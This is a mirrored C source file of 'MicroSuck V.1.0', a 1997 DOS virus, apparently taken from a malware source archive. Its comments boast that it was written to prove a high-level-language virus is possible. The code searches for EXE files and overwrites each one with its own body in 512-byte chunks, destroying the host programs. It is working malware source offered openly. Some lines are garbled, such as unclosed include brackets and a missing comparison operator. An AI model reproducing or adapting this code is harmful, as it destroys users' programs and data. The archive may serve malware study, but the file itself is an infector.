mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-24 20:35:25 +00:00
42 lines
1.9 KiB
C
42 lines
1.9 KiB
C
|
/* MicroSuck V.1.0 (c)YeahRight! 1997 By: Techno Phunk
|
||
|
one of many high level language viruses writen to shut
|
||
|
up some of the people in a.c.v.s.c (alt.comp.virus.source.code)
|
||
|
and to show them that it can be done (even by me who has only about
|
||
|
2 hours of C++ experience) compile with tc.exe (editor), exe normal
|
||
|
This is based on the C++ virus in virology 101, since it is what I
|
||
|
looked at to see how to write a virus in C++ I added something
|
||
|
before puting it here, and forgot to check for the new size
|
||
|
so YOU will have to compile it once, look at the size, then change
|
||
|
the variable x to the size....otherwise the "virus" will not be copied
|
||
|
compleatly */
|
||
|
#include <stdio.h
|
||
|
#include <dir.h
|
||
|
#include <dos.h
|
||
|
FILE *Virus,*Host;
|
||
|
char buff[512];
|
||
|
int x,y,done;
|
||
|
struct ffblk ffblk;
|
||
|
int main()
|
||
|
{
|
||
|
done = findfirst("*.EXE",&ffblk,0); /* Find a host (EXE file) */
|
||
|
while (!done)
|
||
|
{
|
||
|
Host=fopen(ffblk.ff_name,"rb+"); /* Open host */
|
||
|
Virus=fopen(_argv[0],"rb"); /* Open our virus */
|
||
|
/* may need to modify the next line */
|
||
|
x=12099; /* our lifeforms size */
|
||
|
while (x512) /* here we overwrite the host */
|
||
|
{ /* 512 byte chunks at a time */
|
||
|
fread(buff,512,1,Virus); /* ^ sector size ;), could be anything */
|
||
|
fwrite(buff,512,1,Host);
|
||
|
x-=512;
|
||
|
} /* if 512 or less byes */
|
||
|
fread(buff,x,1,Virus); /* Finish infection */
|
||
|
fwrite(buff,x,1,Host);
|
||
|
fcloseall(); /* Close */
|
||
|
done = findnext(&ffblk); /* try agian */
|
||
|
}
|
||
|
mkdir ("MicroSuck (c) 1997 By: Techno Phunk") /* activation would go */
|
||
|
/* here */
|
||
|
return (0); /* Terminate */
|
||
|
}
|